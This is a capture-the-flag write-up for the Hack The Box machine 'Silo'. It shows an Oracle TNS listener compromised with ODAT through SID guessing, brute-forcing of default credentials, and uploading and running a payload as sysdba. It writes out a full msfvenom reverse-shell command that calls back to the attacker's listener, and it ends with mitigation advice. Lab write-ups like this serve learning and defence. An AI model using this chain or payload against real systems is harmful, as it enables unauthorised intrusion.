HTB: Silo Writeup w/o Metasploit
I love when I get to learn more about different services, especially services I don’t interact with as much. Silo allowed us to enumerate a service that I haven’t worked with in some time now. Let us get into it.
Recon
To start we launch a series of nmap scans using my nmap jutsu.
Nmap returns a few interesting ports. There is an IIS service, smb service, and oracle services running. We quickly take a look at the web service on port 80 and find nothing but an IIS homepage. Nothing useful in the source code either. The next thing I checked was port 8080. When I first checked it, there was a login form that popped up. But now it doesn’t show up anymore. At this point, I started gobuster to scan for other directories and it didn’t return any actionable information.
What‘s left to enumerate? There’s a smb service and oracle service left to enumerate. I tried working with the smb service. One of the most common smb attacks is eternal blue. I tried giving that a go but it looks like the system is not vulnerable to it; looks like the guest account was disabled. FYI: I added the guest account to the checker script running in the screenshot below.
I tried the smb exploit from this repo but as we mentioned this system does not appear to be vulnerable to that exploit. Now before falling into a rabbit hole with smb, let us assess the oracle service. Remember we had oracle services running on port 1521 and 8080.
Exploitation
Since I didn’t know much about Oracle TNS, I did some Google kung fu on it. I learned so much from going through different blogs and vulnerability reports. The most relevant thing I learned was TNS poisoning. It’s an attack that exploits the TNS listener. Oracle uses the TNS listener to manage requests going to the database service. It can be used to identify and interact with tables running on the system, this includes uploading content and executing it. That’s what we will do to get a reverse shell.
To do this we’ll use a tool named ODAT. I learned about ODAT as I was reading on the TNS listener. Googling “Oracle TNS listener 11.2.0.2.0 exploit” returns a repo with ODAT and instructions on how to use it. Why did we Google that? It was the service and version number nmap reported.
This is the ODAT repo. It took me some time to learn how to successfully use it. Eventually I was able to get a reverse shell using odat. My video at the end of the writeup will show you how we used odat.
First, we have to download odat. There is a standalone version of it so we don’t have to do the setup process. Here are the standalone versions. I used the x64/x86 version.
Above you can see the odat tar file we downloaded followed by the tar command to untar it. Now to do anything with the database server we need to get the SID (System ID). The SID is used to identify a database on a system. It’s like a nametag. That‘s what we’ll use to interact with the database.
ODAT comes with a few modules. There is a SID guesser module, password guessing module, a file upload module, and a module to execute things in the database. It comes with more but those are what we’ll be using. To use either of the modules we have to pass it as an argument. To learn how to use it, we use the “-h” option with the module. We did it in the screenshot below. Please note we are in the odat directory as we’re running these commands. Also, I changed the name of the repo to odat for simplicity.
To use the sidguesser we need the system ip (-s 10.10.10.82) and port number (-p 1521).
We get a valid SID back from odat. It’s “XE.” Now, to manage XE we’ll need a valid username and password. Especially if we want to upload and execute things on the database. To do this, we’ll use the password guesser module to brute force for valid creds.
To use the password guesser, we will need the server ip, system port, the SID, and a wordlist with usernames and passwords. The help menu shows the default user/password file that odat is using is under the “accounts/accounts.txt” directory. Below are the first few lines of that file.
Let’s use the password guesser with that file. We‘ll need the system ip (-s 10.10.10.82), the port number (-p 1521), the SID (-d XE) and the user/password file ( --accounts-file).
Fortunately, it gives us the user and password. The username and password are actually default credentials for oracle. We can use this to upload a reverse shell to the box. But first we’ll need a shell to upload. Let’s create one with msfvenom using this string, msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.13 lport=1234 -f exe -o shell.exe. FYI: my first attempt was with the x64 payload and it didn’t work. To upload it we will need to use the utlfile module. The help menu below shows us we‘ll need the system ip, the port number, the username, the password, SID, the remote directory, the name of the remote file, and the local file.
This doesn’t work because of insufficient privileges. Which brings me to something else we learned, oracle has “sudo” like command called sysdba. Running this escalates your privileges just as the sudo command does. Let us add “--sysdba” to the end of our string.
We were able to successfully upload our reverse shell. Now we just have to start up a listener and then call the shell. We‘ll need to use the externaltable module to execute the shell. The help menu below shows us we need the server ip, port number, username, password, SID, remote folder, remote file, and the sysdba option.
Make sure your listener is running on the same port as the local port set in your msfvenom payload.
The externaltable module works and returns a reverse shell to our listener. From here you can go and grab the user and root flags on the box. The user flags is under c:\usesrs\phineas\desktop. The root flag is under c:\users\administrator\desktop\root.txt. This was a good box to learn more about oracle. I stopped working on this challenge to do more research on the database and the tool (odat) we used to exploit it.
AAR
I came out of this challenge with much more than I came in it with. These are my favorite kind of boxes to work with. To mitigate/prevent what we did here, the default credentials should be changed to something more secure. Also, the TNS listener should only respond to authorized users/services. I learned there’s a fix for TNS poisoning that restricts responses to requests from the system and not remote systems. TNS should be upgraded to a secure version that restricts responses.
Hopefully you enjoyed this writeup. I will link the video walkthrough here shortly.
